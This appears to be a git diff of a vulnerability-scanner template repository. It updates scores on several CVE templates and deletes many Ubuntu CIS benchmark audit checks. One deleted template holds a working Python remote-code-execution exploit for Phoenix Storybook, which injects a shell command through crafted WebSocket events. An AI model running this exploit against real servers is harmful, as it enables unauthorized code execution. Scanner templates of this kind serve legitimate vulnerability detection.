cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*:*
metadata:
verified: true
shodan-query: html:"Watchguard" html:"Authentication Server"
tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev,vuln
tags: cve,cve2025,watchguard,ikev2,rce,passive,vpn,kev,vkev
variables:
HOST: "{{Host}}"
@@ -552,4 +552,4 @@ code:
- type: dsl
dsl:
- response
# digest: 4b0a00483046022100a2d4963fb5a2c59df8da429c374cec85cb19e08d54c6b086dc9ce041c8d1d9c202210085dcb6730c86257a3a4a54ad30029bb30a915a97428a6d4d9aaf3e4b663ea8c2:922c64590222798bb761d5b6d8e72950
# digest: 4a0a0047304502207c5ec28507f297a730ae76ad5a6b684be07faadc08f975366ca089b08c207a630221008561c1d8f9122d261eb8d36e7a7343f7a89fb8881769d1027bb4ea62bc10cea7:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -18,8 +18,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2026-10795
epss-score: 0.04308
epss-percentile: 0.91084
epss-score: 0.03578
epss-percentile: 0.88
cwe-id: CWE-347
metadata:
max-request: 2
@@ -85,4 +85,4 @@ http:
- 'status_code == 200'
- 'contains(body, "\"udrpc_message\":\"")'
condition: and
# digest: 4b0a0048304602210097d999ee547a861535f0450c166b1e5718d48cf3b56bd8330946d40df06ad428022100df7072af5332b13eb3b33b7d357f7a4826dfd8f19f3d08240a9f6d388154cb0f:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100a881b582fed632f80412c76035e841db6494221b4f102f999bad2faddc3da3fb02204c4daa0834d7e0f354be0bab3c44eceafe0a2bd76d77e86fa6fcdd94188ae214:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-20182
epss-score: 0.91817
epss-percentile: 0.99815
epss-score: 0.87693
epss-percentile: 0.99738
cwe-id: CWE-287
cpe: cpe:2.3:a:cisco:catalyst_sd-wan_controller:*:*:*:*:*:*:*:*
metadata:
@@ -272,4 +272,4 @@ code:
- type: word
words:
- "VULNERABLE:"
# digest: 490a00463044022005f9c65a9e5a02d43ecad3e6ca8d2774297337001b6326a84bac1e9d0a5ca5af02206390d5f4784d32b5069b72e0d6c470325771445265f01fc44003457353318456:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220127e8b7b1bd730a8383479424cc229fed8fac958ae28c20c10d456bf9d083e38022100c4851e5ca05359bac2cd2824c20fb649a60295365f456fb3b4bbd7025a24d7b4:922c64590222798bb761d5b6d8e72950
+4 -4
View File
@@ -17,8 +17,8 @@ info:
cvss-score: 9.8
cve-id: CVE-2026-24061
cwe-id: CWE-88
epss-score: 0.98984
epss-percentile: 0.99929
epss-score: 0.98871
epss-percentile: 0.99921
metadata:
verified: true
max-request: 1
@@ -26,7 +26,7 @@ info:
product: inetutils
shodan-query: port:23 telnet
fofa-query: port="23" && protocol="telnet"
tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev,vuln
tags: cve,cve2026,telnet,auth-bypass,rce,code,kev,vkev
code:
- engine:
@@ -49,4 +49,4 @@ code:
- "Last login"
- "Debian"
condition: and
# digest: 4a0a00473045022065a94097ca7c40bb8bef866c1a6e607a8da23a564d3a75cdadfc656450c05cf10221008d8e4289091ce101df13ad402a376da2a88393b478c7857c13fe194ae343e537:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022011e8f400bf49429ac73ecf3a1f1dc2817f6fadacdcb9261415593da1ae6601b6022100c8f61b1763bb1cabbc7fbeba9931e06ff1ea95b16f402f17db5554e63740b0c2:922c64590222798bb761d5b6d8e72950
+3 -3
View File
@@ -19,8 +19,8 @@ info:
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.8
cve-id: CVE-2026-31431
epss-score: 0.98114
epss-percentile: 0.99911
epss-score: 0.96267
epss-percentile: 0.9987
cwe-id: CWE-787
cpe: cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
metadata:
@@ -139,4 +139,4 @@ code:
part: response
regex:
- 'VULNERABLE:.*'
# digest: 490a00463044022051713b8fee9c8af61e7d430677309dbfe206f3b94f712ade50fe676b31b4de0302201bc5a3b9b15d079c56cd4c486fd470f4d2d7050d8218206ac027456019598695:922c64590222798bb761d5b6d8e72950
# digest: 4a0a00473045022100e058f2d5f55fad7a3fb789ff8f71e2fd5aa4ca8c22c1322f282bf8b2e00f6bf202204f95658677e444614a29df15e5f9a0d0d33bd6a0be8bcdc67189762700ed4455:922c64590222798bb761d5b6d8e72950
-279
View File
@@ -1,279 +0,0 @@
id: CVE-2026-8467
info:
name: Phoenix Storybook - Remote Code Execution
author: 0x_Akoko
severity: critical
description: |
Phenixdigital phoenix_storybook >=0.5.0 <1.1.0 contains a code injection caused by unsanitized attribute value interpolation in HEEx template generation, letting unauthenticated remote attackers execute arbitrary code on the server, exploit requires sending crafted WebSocket event data.
impact: |
Unauthenticated attackers can execute arbitrary code on the server, leading to full system compromise.
remediation: |
Upgrade to version 1.1.0 or later.
reference:
- https://github.com/plausible/analytics/security/advisories
- https://github.com/plausible/analytics
- https://nvd.nist.gov/vuln/detail/CVE-2026-8467
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-8467
epss-score: 0.02111
epss-percentile: 0.81669
cwe-id: CWE-94
metadata:
verified: true
max-request: 3
shodan-query: http.favicon.hash:829712541
fofa-query: icon_hash=="829712541"
tags: cve,cve2026,rce,plausible,phoenix,storybook,heex
code:
- engine:
- py
- python3
source: |
import sys, re, json, ssl, socket, struct, base64, os, time
import http.cookiejar, urllib.request, urllib.parse, urllib.error
target = sys.stdin.read().strip()
if not target:
print("ERROR: No target")
sys.exit(1)
target = target.rstrip("/")
if not target.startswith("http"):
target = "http://" + target
is_https = target.startswith("https://")
ssl_ctx = ssl.create_default_context()
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
storybook_url = target + "/storybook/iframe/button?playground=true&variation_id=default&topic=pwn"
# Step 1: Fetch storybook page
try:
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj), urllib.request.HTTPSHandler(context=ssl_ctx))
req = urllib.request.Request(storybook_url, headers={"User-Agent": "Mozilla/5.0"})
resp = opener.open(req, timeout=15)
body = resp.read().decode("utf-8", errors="replace")
except Exception as e:
print("NOT_VULNERABLE: Connection failed - " + str(e))
sys.exit(0)
if resp.getcode() != 200 or "data-phx-session" not in body:
print("NOT_VULNERABLE: Storybook not exposed (HTTP " + str(resp.getcode()) + ")")
sys.exit(0)
# Step 2: Extract tokens
csrf_m = re.search(r'content="([^"]+)"\s+name="csrf-token"', body) or re.search(r'name="csrf-token"\s+content="([^"]+)"', body)
if not csrf_m:
print("NOT_VULNERABLE: No CSRF token")
sys.exit(0)
csrf = csrf_m.group(1)
cookie_str = "; ".join(c.name + "=" + c.value for c in cj)
phx_id_m = re.search(r'id="phx-([^"]+)"', body)
if not phx_id_m:
print("NOT_VULNERABLE: No PHX ID")
sys.exit(0)
phx_id = phx_id_m.group(1)
sessions = re.findall(r'data-phx-session="([^"]+)"', body)
statics = re.findall(r'data-phx-static="([^"]+)"', body)
if not sessions or not statics:
print("NOT_VULNERABLE: No session tokens")
sys.exit(0)
parent_session = sessions[0]
parent_static = statics[0]
child_static = statics[1] if len(statics) > 1 else statics[0]
# Step 3: Raw WebSocket connection (NO Origin header - bypasses Phoenix check_origin)
host_with_port = target.split("://", 1)[1]
parts = host_with_port.split(":")
ws_host = parts[0]
ws_port = int(parts[1]) if len(parts) > 1 else (443 if is_https else 80)
csrf_enc = urllib.parse.quote(csrf, safe="")
ws_path = "/live/websocket?_csrf_token=" + csrf_enc + "&_track_static%5B0%5D=&_mounts=0&vsn=2.0.0"
try:
sock = socket.create_connection((ws_host, ws_port), timeout=15)
if is_https:
sock = ssl_ctx.wrap_socket(sock, server_hostname=ws_host)
ws_key = base64.b64encode(os.urandom(16)).decode()
handshake = "GET " + ws_path + " HTTP/1.1\r\nHost: " + host_with_port + "\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: " + ws_key + "\r\nSec-WebSocket-Version: 13\r\nCookie: " + cookie_str + "\r\nUser-Agent: Mozilla/5.0\r\n\r\n"
sock.sendall(handshake.encode())
resp_data = b""
while b"\r\n\r\n" not in resp_data:
chunk = sock.recv(4096)
if not chunk:
break
resp_data += chunk
if b"101" not in resp_data.split(b"\r\n")[0]:
print("NOT_VULNERABLE: WebSocket upgrade failed")
sys.exit(0)
except Exception as e:
print("NOT_VULNERABLE: WebSocket connection failed - " + str(e))
sys.exit(0)
def ws_send(sock, data):
payload = data.encode("utf-8")
frame = bytearray([0x81])
mask_key = os.urandom(4)
ln = len(payload)
if ln < 126:
frame.append(0x80 | ln)
elif ln < 65536:
frame.append(0x80 | 126)
frame.extend(struct.pack("!H", ln))
else:
frame.append(0x80 | 127)
frame.extend(struct.pack("!Q", ln))
frame.extend(mask_key)
masked = bytearray(ln)
for i in range(ln):
masked[i] = payload[i] ^ mask_key[i % 4]
frame.extend(masked)
sock.sendall(bytes(frame))
def ws_recv(sock, timeout=10):
sock.settimeout(timeout)
def rx(n):
d = b""
while len(d) < n:
c = sock.recv(n - len(d))
if not c:
raise Exception("closed")
d += c
return d
hdr = rx(2)
op = hdr[0] & 0x0F
mk = (hdr[1] & 0x80) != 0
ln = hdr[1] & 0x7F
if ln == 126:
ln = struct.unpack("!H", rx(2))[0]
elif ln == 127:
ln = struct.unpack("!Q", rx(8))[0]
if mk:
mask_key = rx(4)
pl = rx(ln)
if mk:
pl = bytearray(pl)
for i in range(len(pl)):
pl[i] ^= mask_key[i % 4]
pl = bytes(pl)
return op, pl.decode("utf-8", errors="replace")
# Step 4: Join parent LiveView
parent_join = json.dumps(["1", "1", "lv:phx-" + phx_id, "phx_join", {"url": storybook_url, "params": {"_csrf_token": csrf, "_mounts": 0}, "session": parent_session, "static": parent_static}])
ws_send(sock, parent_join)
child_session = None
child_topic = None
for _ in range(10):
try:
op, msg = ws_recv(sock)
if not msg:
continue
data = json.loads(msg)
if isinstance(data, list) and len(data) >= 5 and data[3] == "phx_reply":
rendered_str = json.dumps(data[4].get("response", {}).get("rendered", {}))
cs = re.findall(r'data-phx-session=\\+"([^"\\]+)', rendered_str)
for s in cs:
if s != parent_session:
child_session = s
break
if not child_session and cs:
child_session = cs[0]
tm = re.findall(r'id=\\+"([^"\\]*-playground-preview)', rendered_str)
if tm:
child_topic = "lv:" + tm[0]
cst = re.findall(r'data-phx-static=\\+"([^"\\]+)', rendered_str)
if cst:
child_static = cst[0]
break
except:
break
if not child_session:
if len(sessions) > 1:
child_session = sessions[1]
else:
print("NOT_VULNERABLE: No child session found")
sock.close()
sys.exit(0)
if not child_topic:
child_topic = "lv:plausible_web_storybook_button-playground-preview"
# Step 5: Join child LiveView
child_join = json.dumps(["2", "2", child_topic, "phx_join", {"url": storybook_url, "params": {"_csrf_token": csrf, "_mounts": 0}, "session": child_session, "static": child_static}])
ws_send(sock, child_join)
child_joined = False
for _ in range(10):
try:
op, msg = ws_recv(sock)
if not msg:
continue
data = json.loads(msg)
if isinstance(data, list) and len(data) >= 5 and data[3] == "phx_reply":
st = data[4].get("status", "") if isinstance(data[4], dict) else ""
if st == "ok":
child_joined = True
break
except:
break
if not child_joined:
print("NOT_VULNERABLE: Child join failed")
sock.close()
sys.exit(0)
# Step 6: Send RCE payload
cmd = "id"
exploit_val = 'foo" pwned={elem(System.cmd("sh",["-c","' + cmd + '"]),0)} a="'
exploit_msg = json.dumps(["3", "3", child_topic, "event", {"type": "click", "event": "psb-assign", "value": {"variation_id": "default", "type": exploit_val}}])
ws_send(sock, exploit_msg)
# Step 7: Parse output
rce_output = ""
for _ in range(10):
try:
op, msg = ws_recv(sock)
if not msg:
continue
if "pwned" in msg:
pm = re.search(r'pwned=\\+"(.*?)\\+"', msg)
if not pm:
pm = re.search(r'pwned="(.*?)"', msg)
if pm:
rce_output = pm.group(1).replace("\\n", "\n").replace("\\t", "\t").replace('\\"', '"')
rce_output = re.sub(r'\s+a=.*', '', rce_output, flags=re.DOTALL).strip()
break
except:
break
sock.close()
if rce_output and "uid=" in rce_output:
print("Target: " + target)
print("Status: RCE_CONFIRMED")
print("Command: " + cmd)
print("Output: " + rce_output)
else:
print("NOT_VULNERABLE: No RCE output")
matchers:
- type: word
words:
- "RCE_CONFIRMED"
- "uid="
condition: and
extractors:
- type: regex
name: rce_output
group: 1
regex:
- "Output: (.*)"
# digest: 4b0a00483046022100cacbd393e0514a9c67de05bb74c98b9c311d2dffd81f0f75e493fa6b0249eabd022100db0806c63c97bd406e6ba1b0827829bee71e7b32e555455216b6587ead5c5a6e:922c64590222798bb761d5b6d8e72950
@@ -1,45 +0,0 @@
id: apport-error-reporting-disabled-check
info:
name: Ensure Automatic Error Reporting is Not Enabled
author: Th3l0newolf
severity: medium
description: |
This template checks whether the Apport automatic error reporting service is enabled.
remediation: |
Disable Apport by editing `/etc/default/apport` and setting:
enabled=0
If Apport is not required, remove it:
sudo apt remove apport -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,apport,error-reporting,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s apport &>/dev/null && grep -Psiq -- '^\h*enabled\h*=\h*[^0]\b' /etc/default/apport; then
echo "[apport-error-reporting-disabled-check:Policy-Fail] [Automatic Error Reporting is enabled] [CIS_FAIL] [medium]"
else
echo "[apport-error-reporting-disabled-check:Policy-Pass] [Automatic Error Reporting is disabled] [CIS_PASS] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a0046304402200d37587f3a27f271e96ffbea88879b3f065db850de39a41b3ec97fb0c538f07b0220445de576573745b10d3e4d01b186ef72a9b7270bd0685634c45ddc4348243424:922c64590222798bb761d5b6d8e72950
@@ -1,44 +0,0 @@
id: gdm-automount-removable-media-disabled-check
info:
name: Ensure GDM Automatic Mounting of Removable Media is Disabled
author: Th3l0newolf
severity: medium
description: |
This template checks whether automatic mounting of removable media is disabled.
remediation: |
Disable automatic mounting and automatic opening of removable media in GDM.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,media,automount,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
automount=$(gsettings get org.gnome.desktop.media-handling automount 2>/dev/null)
automount_open=$(gsettings get org.gnome.desktop.media-handling automount-open 2>/dev/null)
if [ "$automount" = "false" ] && [ "$automount_open" = "false" ]; then
echo "[gdm-automount-removable-media-disabled-check:Policy-Pass] [Automatic mounting of removable media is disabled] [CIS_PASS] [medium]"
else
echo "[gdm-automount-removable-media-disabled-check:Policy-Fail] [Automatic mounting of removable media is enabled] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100d49ac46ebe2172ca1f5fa4fbd1d7e2c4c3964ce081c06e33a29d8d87f5789c020220162bf14558a7cd7eca0d7006654b7ba99ffc23fd118e9bd7df99babf6fe13ced:922c64590222798bb761d5b6d8e72950
@@ -1,44 +0,0 @@
id: gdm-autorun-never-enabled-check
info:
name: Ensure GDM autorun-never is Enabled
author: Th3l0newolf
severity: medium
description: |
This template checks whether GDM is configured to disable autorun for removable media.
remediation: |
Enable the `autorun-never` setting to prevent automatic execution of content
from removable media.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,autorun,media,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
autorun_never=$(gsettings get org.gnome.desktop.media-handling autorun-never 2>/dev/null)
if [ "$autorun_never" = "true" ]; then
echo "[gdm-autorun-never-enabled-check:Policy-Pass] [GDM autorun-never is enabled] [CIS_PASS] [medium]"
else
echo "[gdm-autorun-never-enabled-check:Policy-Fail] [GDM autorun-never is not enabled] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a0046304402206c80c1a86743871e9f595f4dcd2a4514b546b38bc6d19526607164c2e3cae9a4022051f4b192684563ca0434b43e54043fdf0111dcd7cc59c761d5ac11d4ae9f7af0:922c64590222798bb761d5b6d8e72950
@@ -1,42 +0,0 @@
id: gdm-disable-user-list-enabled-check
info:
name: Ensure GDM disable-user-list Option is Enabled
author: Th3l0newolf
severity: low
description: |
This template checks whether the GDM disable-user-list option is enabled.
remediation: |
Enable the `disable-user-list` option in GDM to prevent displaying the
list of local users on the login screen.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,login,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if [ "$(gsettings get org.gnome.login-screen disable-user-list 2>/dev/null)" = "true" ]; then
echo "[gdm-disable-user-list-enabled-check:Policy-Pass] [GDM disable-user-list option is enabled] [CIS_PASS] [low]"
else
echo "[gdm-disable-user-list-enabled-check:Policy-Fail] [GDM disable-user-list option is not enabled] [CIS_FAIL] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022025a93b7d3071b399ffeb3961566cdd9c923917af8678a1a885e811441fa04f01022100a84cee2408f06cfe157bdfcc217d3d32df9a8292f62566c1fad7b7b4542d4758:922c64590222798bb761d5b6d8e72950
@@ -1,45 +0,0 @@
id: gdm-login-banner-configured-check
info:
name: Ensure GDM Login Banner is Configured
author: Th3l0newolf
severity: low
description: |
This template checks whether the GDM login banner is enabled and configured.
remediation: |
Enable the GDM login banner and configure an appropriate warning message
according to your organization's security policy.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,banner,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
enabled=$(gsettings get org.gnome.login-screen banner-message-enable 2>/dev/null)
banner=$(gsettings get org.gnome.login-screen banner-message-text 2>/dev/null)
if [ "$enabled" = "true" ] && [ -n "$banner" ] && [ "$banner" != "''" ]; then
echo "[gdm-login-banner-configured-check:Policy-Pass] [GDM login banner is enabled and configured] [CIS_PASS] [low]"
else
echo "[gdm-login-banner-configured-check:Policy-Fail] [GDM login banner is not enabled or not configured] [CIS_FAIL] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100e8489d5b348200a612586fc5e0fe4174623f220b4c1c44d330368d924251f574022057569da8e66eea1e3917a3111c07a2b48f45e4fbd94e6a20d27b35e1b5c732c4:922c64590222798bb761d5b6d8e72950
-42
View File
@@ -1,42 +0,0 @@
id: gdm-removed-check
info:
name: Ensure GDM is Removed
author: Th3l0newolf
severity: medium
description: |
This template checks whether the GNOME Display Manager (GDM) is installed.
remediation: |
Remove the GDM package if it is not required:
sudo apt remove gdm3 -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,gdm3,package,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s gdm3 &>/dev/null; then
echo "[gdm-removed-check:Policy-Fail] [gdm3 is installed] [CIS_FAIL] [medium]"
else
echo "[gdm-removed-check:Policy-Pass] [gdm3 is not installed] [CIS_PASS] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a00463044022004cdc95f83850e9d07aa99423acaff95f3f8d644cf673f3f6282fdb499e25cb70220500dbf49f39b14e13f1134f8c4723055f51e6147c5a0f0ca68c4e8e91987f660:922c64590222798bb761d5b6d8e72950
@@ -1,49 +0,0 @@
id: gdm-screen-lock-idle-check
info:
name: Ensure GDM Screen Locks When the User is Idle
author: Th3l0newolf
severity: medium
description: |
This template checks whether the screen is configured to lock after a period of user inactivity.
remediation: |
Configure the screen lock settings to meet your organization's security policy:
- Set `lock-delay` to 5 seconds or less.
- Set `idle-delay` to 900 seconds (15 minutes) or less and ensure it is not disabled.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,screensaver,screenlock,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
lock_delay=$(gsettings get org.gnome.desktop.screensaver lock-delay 2>/dev/null | awk '{print $2}')
idle_delay=$(gsettings get org.gnome.desktop.session idle-delay 2>/dev/null | awk '{print $2}')
if [ -n "$lock_delay" ] && [ -n "$idle_delay" ] && \
[ "$lock_delay" -le 5 ] && \
[ "$idle_delay" -gt 0 ] && \
[ "$idle_delay" -le 900 ]; then
echo "[gdm-screen-lock-idle-check:Policy-Pass] [Screen lock is configured correctly] [CIS_PASS] [medium]"
else
echo "[gdm-screen-lock-idle-check:Policy-Fail] [Screen lock is not configured correctly] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100be8d82fc5c709641b04535b1b34c9e69db9602eb06a0e4b508c1c7dc598e2a30022065d4f36251f33969b7c7cac33ce18f1b0115cd6ff96f514b5f5f23e57064e639:922c64590222798bb761d5b6d8e72950
+3 -6
View File
@@ -21,10 +21,7 @@ code:
HOME_DIR=$(eval echo ~$user)
find "$HOME_DIR" -maxdepth 1 -type f \
\( -name ".bashrc" -o -name ".bash_profile" -o -name ".bash_logout" \) \
-exec ls -l {} \; | awk -v usr="$user" '{
if ($3 != "root" && $3 != usr) print "INVALID_OWNER", $0
else print $0
}'
-exec ls -l {} \; | awk -v usr="$user" '{print $0, "EXPECTED_USER="usr}'
done
matchers:
@@ -39,5 +36,5 @@ code:
name: invalid-owner
part: response
regex:
- "^INVALID_OWNER"
# digest: 4b0a004830460221008f1026cc0254988a320127f54f6632957306601d6961aea2ac9a446cd5f6b9ab02210086b126c50bbc20138ad7477bb88eeaf1b605461def18dd415775fd23651b9758:922c64590222798bb761d5b6d8e72950
- "^\\S+\\s+\\S+\\s+(?!root|.*EXPECTED_USER=)"
# digest: 490a0046304402200d1c1eb3e56074bf3daf7445e93706d95501decf32ee59f9d155f9d07f56d988022070e34135003e30cdd8a2aea1d25fef4df3cb8b9e354d0511a38a1dace28b16b0:922c64590222798bb761d5b6d8e72950
@@ -1,47 +0,0 @@
id: issue-file-permissions-check
info:
name: Ensure Access to /etc/issue is Configured
author: Th3l0newolf
severity: medium
description: |
This template checks whether /etc/issue has secure ownership and permissions.
remediation: |
Set the ownership and permissions on `/etc/issue`:
sudo chown root:root /etc/issue
sudo chmod 644 /etc/issue
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,issue,permissions,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
mode=$(stat -Lc "%a" /etc/issue)
uid=$(stat -Lc "%u" /etc/issue)
gid=$(stat -Lc "%g" /etc/issue)
if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
echo "[issue-file-permissions-check:Policy-Pass] [/etc/issue ownership and permissions are correctly configured] [CIS_PASS] [medium]"
else
echo "[issue-file-permissions-check:Policy-Fail] [/etc/issue ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502204805f23b5b2fde38972210068588544f6d63ee85808fd260c1110d3bf74e0f81022100bcf8c34f4972f68f33fcbe9e00e7a9d4d88db7c5fbd44edc9015fdd09435e104:922c64590222798bb761d5b6d8e72950
@@ -1,47 +0,0 @@
id: issue-net-file-permissions-check
info:
name: Ensure Access to /etc/issue.net is Configured
author: Th3l0newolf
severity: medium
description: |
This template checks whether /etc/issue.net has secure ownership and permissions.
remediation: |
Set the ownership and permissions on `/etc/issue.net`:
sudo chown root:root /etc/issue.net
sudo chmod 644 /etc/issue.net
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,issue.net,permissions,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
mode=$(stat -Lc "%a" /etc/issue.net)
uid=$(stat -Lc "%u" /etc/issue.net)
gid=$(stat -Lc "%g" /etc/issue.net)
if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
echo "[issue-net-file-permissions-check:Policy-Pass] [/etc/issue.net ownership and permissions are correctly configured] [CIS_PASS] [medium]"
else
echo "[issue-net-file-permissions-check:Policy-Fail] [/etc/issue.net ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502205b90b88bc4944dc3b9d5e1ffd449bfeba36ca31aa5b361d2925d6a9ffdfa31d2022100f198d2b9ea2306ea3da915e903f444320811814b645ca7199caa29242e77e657:922c64590222798bb761d5b6d8e72950
@@ -1,46 +0,0 @@
id: local-login-warning-banner-configured-check
info:
name: Ensure Local Login Warning Banner is Configured Properly
author: Th3l0newolf
severity: low
description: |
This template checks whether the local login warning banner is configured
without exposing system information.
remediation: |
Edit `/etc/issue` and remove any operating system, kernel, architecture,
or version information that could disclose system details. Configure the
banner according to your organization's security policy.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,issue,banner,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/issue >/dev/null 2>&1; then
echo "[local-login-warning-banner-configured-check:Policy-Fail] [/etc/issue contains system information] [CIS_FAIL] [low]"
else
echo "[local-login-warning-banner-configured-check:Policy-Pass] [/etc/issue is properly configured] [CIS_PASS] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100b7f3c0df5a197c8d43ee9e54731a4ca92fda92a03c083fc15c36747d0d38e7cb02201a669b82498409b20c9dfda008d11eeb57e395f382ba3c502504311f675c6653:922c64590222798bb761d5b6d8e72950
@@ -1,45 +0,0 @@
id: motd-configured-properly-check
info:
name: Ensure Message of the Day is Configured Properly
author: Th3l0newolf
severity: low
description: |
This template checks whether the Message of the Day (MOTD) is configured
without exposing system information.
remediation: |
Edit `/etc/motd` and remove any operating system, kernel, architecture,
or version information that could disclose system details.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,motd,banner,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/motd >/dev/null 2>&1; then
echo "[motd-configured-properly-check:Policy-Fail] [/etc/motd contains system information] [CIS_FAIL] [low]"
else
echo "[motd-configured-properly-check:Policy-Pass] [/etc/motd is properly configured] [CIS_PASS] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502205a5f2adda2516b58a427743cc99efc6ebbb0ecde6a4c1675c8b74c47b485913d022100c0fc56c0137edea5823b5e5f0594b7f64e062c607da5c940a903cd81e6fb2dd4:922c64590222798bb761d5b6d8e72950
@@ -1,52 +0,0 @@
id: motd-file-permissions-check
info:
name: Ensure Access to /etc/motd is Configured
author: Th3l0newolf
severity: medium
description: |
This template checks whether /etc/motd has secure ownership and permissions.
remediation: |
Set the ownership and permissions on `/etc/motd`:
sudo chown root:root /etc/motd
sudo chmod 644 /etc/motd
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,motd,permissions,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if [ ! -e /etc/motd ]; then
echo "[motd-file-permissions-check:Policy-Pass] [/etc/motd does not exist] [CIS_PASS] [medium]"
exit 0
fi
mode=$(stat -Lc "%a" /etc/motd)
uid=$(stat -Lc "%u" /etc/motd)
gid=$(stat -Lc "%g" /etc/motd)
if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
echo "[motd-file-permissions-check:Policy-Pass] [/etc/motd ownership and permissions are correctly configured] [CIS_PASS] [medium]"
else
echo "[motd-file-permissions-check:Policy-Fail] [/etc/motd ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
